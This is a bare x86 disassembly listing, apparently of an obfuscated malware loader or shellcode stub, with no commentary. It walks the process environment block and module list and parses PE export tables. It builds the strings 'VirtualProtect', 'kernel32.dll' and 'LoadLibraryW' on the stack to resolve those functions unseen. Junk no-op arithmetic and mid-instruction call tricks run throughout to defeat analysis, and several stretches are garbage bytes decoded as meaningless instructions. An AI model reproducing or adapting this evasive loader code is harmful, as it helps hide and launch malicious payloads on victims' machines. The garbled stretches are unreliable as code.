xor edx, edx
mov word [ebp - 0x200], dx
xor eax, eax
mov word [ebp - 0x34], ax
push esi
or esi, 0x143f7
pop esi
push eax
push ebx
add esp, 4
xor eax, 0x18304
pop eax
push eax
push eax
add esp, 4
and eax, 0x5c80
sub eax, 0x3f92
and eax, 0xd55c
and eax, 0x5c3b
pop eax
mov ecx, dword [ebp - 0xc34]
mov dx, word [ecx]
mov word [ebp - 0xf86], dx
mov eax, dword [ebp - 0xc34]
add eax, 2
mov dword [ebp - 0xc34], eax
mov cx, word [ebp - 0xf86]
mov word [ebp - 0x200], cx
mov edx, dword [ebp - 0xc38]
mov ax, word [edx]
mov word [ebp - 0xf88], ax
mov ecx, dword [ebp - 0xc38]
add ecx, 2
mov dword [ebp - 0xc38], ecx
mov dx, word [ebp - 0xf88]
mov word [ebp - 0x34], dx
push esi
add esi, 0x386b
xor esi, 0x1ec7
add esi, 0x6289
pop esi
push ecx
push esi
add esp, 4
add ecx, 0x67db
xor ecx, 0x734b
sub ecx, 0x1499c
and ecx, 0x16cca
pop ecx
movzx eax, word [ebp - 0x34]
test eax, eax
jne 0x50ddf1
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
sub ecx, edx
mov dword [ebp - 0x14fc], ecx
jmp 0x50de4b
movzx eax, word [ebp - 0x200]
movzx ecx, word [ebp - 0x34]
cmp eax, ecx
je 0x50dd19
movzx edx, word [ebp - 0x200]
xor edx, 0x20
movzx eax, word [ebp - 0x34]
cmp edx, eax
je 0x50dd19
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
cmp ecx, edx
jge 0x50de35
mov dword [ebp - 0x14f8], 0xffffffff
jmp 0x50de3f
mov dword [ebp - 0x14f8], 1
mov eax, dword [ebp - 0x14f8]
mov dword [ebp - 0x14fc], eax
cmp dword [ebp - 0x14fc], 0
jne 0x50de94
push ecx
push eax
add esp, 4
call 0x50de68
add byte [esi + 0x3e], al
inc eax
cmp esi, dword [ebx]
dec esi
dec edi
inc ebx
inc ecx
add esp, 4
or ecx, 0x5963
or ecx, 0x441b
pop ecx
push edi
xor edi, 0xc3ff
and edi, 0x173fc
pop edi
mov ecx, dword [ebp - 0x4dc]
mov dword [ebp - 0x2e0], ecx
jmp 0x50defc
push edi
push ebx
add esp, 4
xor edi, 0x10731
pop edi
push ecx
and ecx, 0x13748
sub ecx, 0x54e1
and ecx, 0x8288
jmp 0x50deb9
pop ecx
push ebx
push ebx
add esp, 4
or ebx, 0x2880
pop ebx
mov edx, dword [ebp - 0x4dc]
mov eax, dword [edx]
mov dword [ebp - 0x4dc], eax
mov ecx, dword [ebp - 0x4dc]
cmp ecx, dword [ebp - 0xc3c]
je 0x50def2
mov edx, dword [ebp - 0x4dc]
cmp dword [edx + 0x30], 0
jne 0x50dcbd
mov dword [ebp - 0x2e0], 0
push ebx
push ecx
add esp, 4
jmp 0x50df0a
pop ebx
push esi
add esi, 0x6881
add esi, 0x131d1
call 0x50df24
add byte [edx + 0x4d], cl
inc ebx
cmp edi, dword [edi]
push eax
add esp, 4
add esi, 0x7627
pop esi
mov eax, dword [ebp - 0x2e0]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2fc], ecx
push ebx
push edx
add esp, 4
xor ebx, 0xba02
or ebx, 0x2b66
jmp 0x50df55
pop ebx
push ebx
add ebx, 0xaea1
pop ebx
push edx
call 0x50df6b
add byte [esi], bh
aas
dec ebp
dec edx
dec esi
inc ecx
add esp, 4
pop edx
mov dword [ebp - 0x70c], 0
mov edx, dword [ebp - 0x2fc]
mov dword [ebp - 0x1500], edx
cmp dword [ebp - 0x1500], 0
jne 0x50df9f
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x50e290
mov ecx, dword [ebp - 0x1500]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1504], edx
jne 0x50dfc7
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x50e290
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x1504]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1508], ecx
cmp dword [ebp - 0x1508], 0
jne 0x50dff9
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
jmp 0x50e290
mov eax, dword [ebp - 0x2fc]
add eax, dword [ebp - 0x1508]
mov dword [ebp - 0x700], eax
jne 0x50e01e
mov ecx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], ecx
jmp 0x50e290
mov edx, dword [ebp - 0x700]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18c0], eax
mov ecx, dword [ebp - 0x700]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18c4], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18c8], ecx
mov dword [ebp - 0x704], 0
jmp 0x50e078
mov edx, dword [ebp - 0x704]
add edx, 1
mov dword [ebp - 0x704], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x704]
cmp ecx, dword [eax + 0x18]
jae 0x50e284
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c0]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x708], ecx
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18c8]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18cc], eax
mov dword [ebp - 0x184], 0
jmp 0x50e0e8
mov ecx, dword [ebp - 0x184]
add ecx, 1
mov dword [ebp - 0x184], ecx
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
test eax, eax
je 0x50e19a
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
test edx, edx
je 0x50e19a
push esi
jmp 0x50e11d
xor esi, 0x9f7c
jmp 0x50e12c
pop esi
push ebx
sub ebx, 0x142b9
call 0x50e143
add byte [ecx + 0x43], cl
dec ecx
xor cl, byte [edx + edi + 0x43]
dec ebx
add esp, 4
pop ebx
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
cmp ecx, eax
je 0x50e18c
mov ecx, dword [ebp - 0x708]
add ecx, dword [ebp - 0x184]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x184]
movsx ecx, byte [ebp + eax - 0x804]
cmp edx, ecx
jne 0x50e193
jmp 0x50e0d9
jmp 0x50e19a
push ecx
or ecx, 0x17f26
and ecx, 0x12889
or ecx, 0xe586
or ecx, 0x112fb
pop ecx
push edx
push esi
add esp, 4
call 0x50e1c8
add byte [ebx], bh
cmp al, 0x4e
xor ecx, dword ss:[ecx + 0x33]
dec esi
inc esi
add esp, 4
pop edx
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
cmp eax, edx
jne 0x50e1f9
mov dword [ebp - 0xc40], 0
jmp 0x50e268
push edi
xor edi, 0x10527
pop edi
push eax
push esi
add esp, 4
call 0x50e214
add byte [ecx], bh
cmp ecx, dword [edi + 0x43]
dec edx
xor al, 0x36
push eax
add esp, 4
pop eax
push edi
push ecx
add esp, 4
and edi, 0x1305f
jmp 0x50e22a
pop edi
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
or eax, 0x20
enter 0x3b20, 0xffffffffffffffc8
jge 0x50e25e
mov dword [ebp - 0xc40], 0xffffffff
jmp 0x50e268
mov dword [ebp - 0xc40], 1
cmp dword [ebp - 0xc40], 0
jne 0x50e27f
mov ecx, dword [ebp - 0x18cc]
mov dword [ebp - 0x4e0], ecx
jmp 0x50e290
jmp 0x50e069
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
mov eax, dword [ebp - 0x4e0]
mov dword [ebp - 0x738], eax
push ebx
push esi
add esp, 4
jmp 0x50e2a8
xor ebx, 0xf5b6
add ebx, 0x5b83
or ebx, 0xd81a
pop ebx
push esi
or esi, 0xb742
and esi, 0xbb72
jmp 0x50e2cd
pop esi
mov ecx, dword [ebp - 0x3cc]
add ecx, 0xe
mov dword [ebp - 0x1918], ecx
push ebx
add ebx, 0x112cb
add ebx, 0xa1ba
pop ebx
push esi
push ebx
add esp, 4
sub esi, 0x17cb1
xor esi, 0xc1d5
pop esi
push edi
push ebx
add esp, 4
add edi, 0x5616
xor edi, 0x101b3
pop edi
cmp dword [ebp - 0x3cc], 0
je 0x50e321
cmp dword [ebp - 0xa5c], 0
jne 0x50e367
push eax
add eax, 0x1bf9
sub eax, 0x7cee
add eax, 0x1403e
xor eax, 0xd5a8
pop eax
push edi
push edx
add esp, 4
xor edi, 0x4977
xor edi, 0xd8d7
add edi, 0x70ed
pop edi
mov edx, dword [ebp - 0x738]
mov dword [ebp - 0x18d0], edx
push 0
call dword [ebp - 0x18d0]
mov dword [ebp - 0x1fb0], 0xa
push edx
call 0x50e382
add byte [esi], bh
inc ecx
xor edi, dword [0x4a373850]
aas
xor al, byte [ebx + 0x7e804c4]
add byte [eax], al
add byte [eax], al
cmp byte [edi], dh
inc esp
inc ecx
xor ecx, dword [ebx + eax*4 - 0x3c]
add al, 0x5a
push esi
sub esi, 0x65f1
and esi, 0xe97b
pop esi
mov eax, dword [ebp - 0x3cc]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x381], cl
mov edx, dword [ebp - 0xa5c]
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x158c], edx
mov dword [ebp - 0xc70], 0
push esi
push eax
add esp, 4
xor esi, 0x5d06
xor esi, 0xfd93
and esi, 0xba72
pop esi
push ecx
and ecx, 0xf2ac
or ecx, 0x9e32
sub ecx, 0x32ab
add ecx, 0x95ec
pop ecx
mov byte [ebp - 0x960], 0x56
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push edx
push ecx
add esp, 4
and edx, 0x1f6c
or edx, 0x1232c
pop edx
push edx
and edx, 0xbee9
sub edx, 0x114cb
call 0x50e497
add byte [edx], bh
dec edi
inc ecx
dec ecx
inc esi
cmp dword [edx], edi
aas
add esp, 4
pop edx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push ecx
add ecx, 0xeb83
add ecx, 0x125e8
add ecx, 0xcb18
pop ecx
push ebx
push edi
add esp, 4
sub ebx, 0x1170b
xor ebx, 0x167d
or ebx, 0x4ba8
and ebx, 0x1115c
pop ebx
cmp dword [ebp - 0x150c], 0
jne 0x50e50c
mov dword [ebp - 0x2a8], 0
jmp 0x50e7b3
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push ecx
call 0x50e52b
add byte [esi + 0x43], cl
dec edi
dec ebp
dec edi
dec esp
add esp, 4
pop ecx
push edx
push esi
add esp, 4
or edx, 0xb07e
xor edx, 0x103e6
and edx, 0x634
jmp 0x50e54f
pop edx
cmp dword [ebp - 0xc4c], 0
jne 0x50e568
mov dword [ebp - 0x2a8], 0
jmp 0x50e7b3
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
push ebx
and ebx, 0xb284
pop ebx
push ecx
call 0x50e58a
add byte [esi + 0x4f], cl
cmp al, 0x35
aas
cmp al, 0x83
les eax, [ecx + ebx*2]
push eax
push edx
add esp, 4
xor eax, 0xb3ee
sub eax, 0x1857c
add eax, 0xce5f
pop eax
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc44], ecx
xor edx, edx
mov word [ebp - 0x204], dx
xor eax, eax
mov word [ebp - 0x38], ax
push edi
add edi, 0xf578
pop edi
push edx
push ecx
add esp, 4
sub edx, 0x145b5
sub edx, 0xc615
sub edx, 0x441c
and edx, 0x17eab
pop edx
push esi
push eax
add esp, 4
xor esi, 0x14fcb
pop esi
mov ecx, dword [ebp - 0xc44]
mov dx, word [ecx]
mov word [ebp - 0xf8a], dx
mov eax, dword [ebp - 0xc44]
add eax, 2
mov dword [ebp - 0xc44], eax
mov cx, word [ebp - 0xf8a]
mov word [ebp - 0x204], cx
mov edx, dword [ebp - 0xc48]
mov ax, word [edx]
mov word [ebp - 0xf8c], ax
mov ecx, dword [ebp - 0xc48]
add ecx, 2
mov dword [ebp - 0xc48], ecx
mov dx, word [ebp - 0xf8c]
mov word [ebp - 0x38], dx
push esi
push edi
add esp, 4
xor esi, 0x1c6
or esi, 0xaa89
add esi, 0x9d8c
pop esi
push eax
add eax, 0xe55d
pop eax
push edx
push edi
add esp, 4
or edx, 0x13ad
xor edx, 0x9c6c
pop edx
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x50e6a8
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x1514], ecx
jmp 0x50e702
movzx eax, word [ebp - 0x204]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x50e5d0
movzx edx, word [ebp - 0x204]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x50e5d0
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x50e6ec
mov dword [ebp - 0x1510], 0xffffffff
jmp 0x50e6f6
mov dword [ebp - 0x1510], 1
mov eax, dword [ebp - 0x1510]
mov dword [ebp - 0x1514], eax
cmp dword [ebp - 0x1514], 0
jne 0x50e74b
push ecx
add ecx, 0xc41c
pop ecx
push edx
call 0x50e721
add byte [0x4747413e], dh
inc ebp
dec ebp
add esp, 4
add edx, 0x4531
call 0x50e739
add byte [eax + edi], dh
inc edx
aas
cmp byte [ebp + 0x39], cl
inc ecx
dec edx
add esp, 4
pop edx
mov ecx, dword [ebp - 0x4e4]
mov dword [ebp - 0x2a8], ecx
jmp 0x50e7b3
push ecx
push edi
add esp, 4
call 0x50e75e
add byte [eax + 0x49], cl
cmp eax, 0x3e473c48
cmp eax, 0x8104c483
sal dword [esi], 0xbc
add byte [eax], al
xor ecx, 0x11eb6
pop ecx
push esi
push ebx
add esp, 4
jmp 0x50e77c
pop esi
mov edx, dword [ebp - 0x4e4]
mov eax, dword [edx]
mov dword [ebp - 0x4e4], eax
mov ecx, dword [ebp - 0x4e4]
cmp ecx, dword [ebp - 0xc4c]
je 0x50e7a9
mov edx, dword [ebp - 0x4e4]
cmp dword [edx + 0x30], 0
jne 0x50e574
mov dword [ebp - 0x2a8], 0
push ecx
add ecx, 0x4609
or ecx, 0x174c0
call 0x50e7cf
add byte [0x4d484744], bh
dec esi
cmp al, 0x4a
xor al, 0x83
les eax, [eax + ebp*8]
or al, byte [eax]
add byte [eax], al
add byte [ebx + 0x45], cl
inc esp
cmp al, 0x45
dec ebp
inc ecx
xor bh, byte [esi]
add esp, 4
pop ecx
cmp dword [ebp - 0x2a8], 0
jne 0x50f0ea
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push ecx
jmp 0x50e892
sub ecx, 0x10706
pop ecx
push edx
push edi
add esp, 4
sub edx, 0xa2d7
add edx, 0xfbf9
pop edx
push eax
push esi
add esp, 4
add eax, 0x553
and eax, 0xef74
pop eax
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push ecx
and ecx, 0x1696d
jmp 0x50e94f
xor ecx, 0xd0b0
pop ecx
push esi
push ebx
add esp, 4
add esi, 0x1092
call 0x50e96e
add byte [ecx + 0x4c], cl
dec eax
dec ecx
xor ecx, dword [ebp + 0x43]
add esp, 4
pop esi
cmp dword [ebp - 0x1518], 0
jne 0x50e98a
mov dword [ebp - 0x710], 0
jmp 0x50ec31
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push esi
push edx
add esp, 4
sub esi, 0xeca2
add esi, 0xf5cc
pop esi
push edx
push esi
add esp, 4
xor edx, 0x1cf9
and edx, 0xda36
pop edx
push esi
or esi, 0x5d73
sub esi, 0x78f7
pop esi
cmp dword [ebp - 0xc58], 0
jne 0x50e9e6
mov dword [ebp - 0x710], 0
jmp 0x50ec31
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push esi
push esi
add esp, 4
add esi, 0x14909
or esi, 0x263b
or esi, 0x11541
sub esi, 0x10a72
pop esi
push ecx
add ecx, 0xce8a
and ecx, 0x13798
and ecx, 0x80c8
pop ecx
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push edi
push edx
add esp, 4
xor edi, 0x15bde
or edi, 0x5ad2
and edi, 0x69b0
sub edi, 0x19ff
pop edi
push ecx
xor ecx, 0x89e2
sub ecx, 0x43fb
and ecx, 0xec96
pop ecx
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push ecx
or ecx, 0x1619d
sub ecx, 0x3c1c
or ecx, 0x14e75
pop ecx
push esi
jmp 0x50eaf4
pop esi
push edi
push edi
add esp, 4
sub edi, 0xafb5
pop edi
push edi
add edi, 0xb410
pop edi
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x50eb26
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x50eb80
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x50ea4e
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x50ea4e
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x50eb6a
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x50eb74
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x50ebc9
push edi
push ecx
add esp, 4
and edi, 0x87fe
and edi, 0x5caa
xor edi, 0xa994
and edi, 0x3c9d
pop edi
push ebx
jmp 0x50ebae
add ebx, 0xce13
or ebx, 0x13538
pop ebx
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x50ec31
push eax
and eax, 0x7a67
or eax, 0x13803
or eax, 0x16656
xor eax, 0x12a5b
pop eax
push edi
push edx
add esp, 4
jmp 0x50ebee
or edi, 0x531a
xor edi, 0x100dc
pop edi
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x50ec27
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x50e9f2
mov dword [ebp - 0x710], 0
push edi
push ecx
add esp, 4
xor edi, 0x53db
pop edi
push edi
xor edi, 0xdd27
sub edi, 0x4174
pop edi
push ebx
push eax
add esp, 4
and ebx, 0xf174
xor ebx, 0x106f0
add ebx, 0x5fe2
pop ebx
cmp dword [ebp - 0x710], 0
jne 0x50ecad
push esi
push eax
add esp, 4
or esi, 0x66ce
sub esi, 0x8e7
xor esi, 0xfbb7
and esi, 0x16fe
pop esi
push eax
xor eax, 0x4a4d
sub eax, 0x7348
add eax, 0x16bbe
pop eax
mov dword [ebp - 0xa58], 0
jmp 0x50f7d5
push esi
push edi
add esp, 4
xor esi, 0xc4c
add esi, 0x65d1
sub esi, 0x2c23
and esi, 0xa19
pop esi
push eax
push ecx
add esp, 4
add eax, 0x17909
pop eax
push edi
and edi, 0x3280
pop edi
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x50ed1e
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x50f00f
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x50ed46
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x50f00f
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x50ed78
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x50f00f
mov ecx, dword [ebp - 0x300]
add ecx, dword [ebp - 0x1570]
mov dword [ebp - 0x714], ecx
jne 0x50ed9d
mov edx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], edx
jmp 0x50f00f
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18e0], ecx
mov edx, dword [ebp - 0x714]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x18e8], edx
mov dword [ebp - 0x718], 0
jmp 0x50edf7
mov eax, dword [ebp - 0x718]
add eax, 1
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x718]
cmp edx, dword [ecx + 0x18]
jae 0x50f003
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e0]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e4]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18e8]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x18ec], ecx
mov dword [ebp - 0x188], 0
jmp 0x50ee67
mov edx, dword [ebp - 0x188]
add edx, 1
mov dword [ebp - 0x188], edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
test ecx, ecx
je 0x50ef19
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
test eax, eax
je 0x50ef19
push edi
call 0x50eea4
add byte [edi], bh
inc esp
dec ebp
inc ebx
cmp eax, dword [ebx + 0x3e]
aaa
dec esp
add esp, 4
pop edi
push ebx
push edx
add esp, 4
xor ebx, 0xf5d6
or ebx, 0x979b
or ebx, 0x12c3
add ebx, 0x10fb0
pop ebx
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
cmp edx, ecx
je 0x50ef0b
mov edx, dword [ebp - 0x71c]
add edx, dword [ebp - 0x188]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x188]
movsx edx, byte [ebp + ecx - 0x830]
cmp eax, edx
jne 0x50ef12
jmp 0x50ee58
jmp 0x50ef19
push eax
xor eax, 0x174ab
jmp 0x50ef28
pop eax
push ecx
sub ecx, 0xf3b1
call 0x50ef3c
add byte [edx + ecx*2 + 0x36], al
inc ebx
inc eax
cmp al, 0x83
les eax, [ecx + ebx*2]
push ecx
jmp 0x50ef4a
pop ecx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
cmp ecx, eax
jne 0x50ef78
mov dword [ebp - 0xc5c], 0
jmp 0x50efe7
push ebx
sub ebx, 0x1381
and ebx, 0xc72d
or ebx, 0x935f
pop ebx
push ebx
jmp 0x50ef95
add ebx, 0x1735a
pop ebx
push edx
xor edx, 0x168b9
or edx, 0xc2cf
pop edx
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
or ecx, 0x20
cmp edx, ecx
jge 0x50efdd
mov dword [ebp - 0xc5c], 0xffffffff
jmp 0x50efe7
mov dword [ebp - 0xc5c], 1
cmp dword [ebp - 0xc5c], 0
jne 0x50effe
mov edx, dword [ebp - 0x18ec]
mov dword [ebp - 0x3c8], edx
jmp 0x50f00f
jmp 0x50ede8
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0
je 0x50f0ea
push ebx
push edx
add esp, 4
add ebx, 0xbd45
or ebx, 0x8cf
or ebx, 0x1345e
pop ebx
push eax
push ebx
add esp, 4
sub eax, 0xfc5d
jmp 0x50f047
or eax, 0x111d1
pop eax
mov ecx, dword [ebp - 0x3c8]
mov dword [ebp - 0x18f0], ecx
push edx
call 0x50f068
add byte [edx], bh
xor al, 0x50
cmp edi, dword ss:[ebx]
xor eax, 0x8104c483
loop 0x50f07c
push ecx
add dword [eax], eax
and edx, 0x13526
pop edx
push esi
add esi, 0x15c31
pop esp
add dword [eax], eax
sub esi, 0x11293
and esi, 0x10c66
pop esi
mov edx, dword [ebp - 0x18f0]
mov dword [ebp - 0x18f4], edx
lea eax, [ebp - 0x1628]
push eax
call dword [ebp - 0x18f4]
test eax, eax
jne 0x50f0ea
push ecx
add ecx, 0x9f60
xor ecx, 0xd82c
and ecx, 0x2490
xor ecx, 0x1489f
pop ecx
push edx
push ebx
add esp, 4
and edx, 0xab66
or edx, 0x543f
or edx, 0x4029
pop edx
mov dword [ebp - 0xa58], 0
jmp 0x50f7d5
push esi
push ebx
add esp, 4
xor esi, 0xc86b
pop esi
push ecx
push edi
add esp, 4
or ecx, 0x145d8
pop ecx
push ecx
push esi
add esp, 4
add ecx, 0xfa8f
pop ecx
push ebx
add ebx, 0x6aef
or ebx, 0x132f1
pop ebx
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push edx
sub edx, 0x6e4
xor edx, 0x145c2
pop edx
push ecx
push eax
add esp, 4
xor ecx, 0x8c04
pop ecx
push edi
push eax
add esp, 4
sub edi, 0x15032
pop edi
push edi
push esi
add esp, 4
sub edi, 0x10067
pop edi
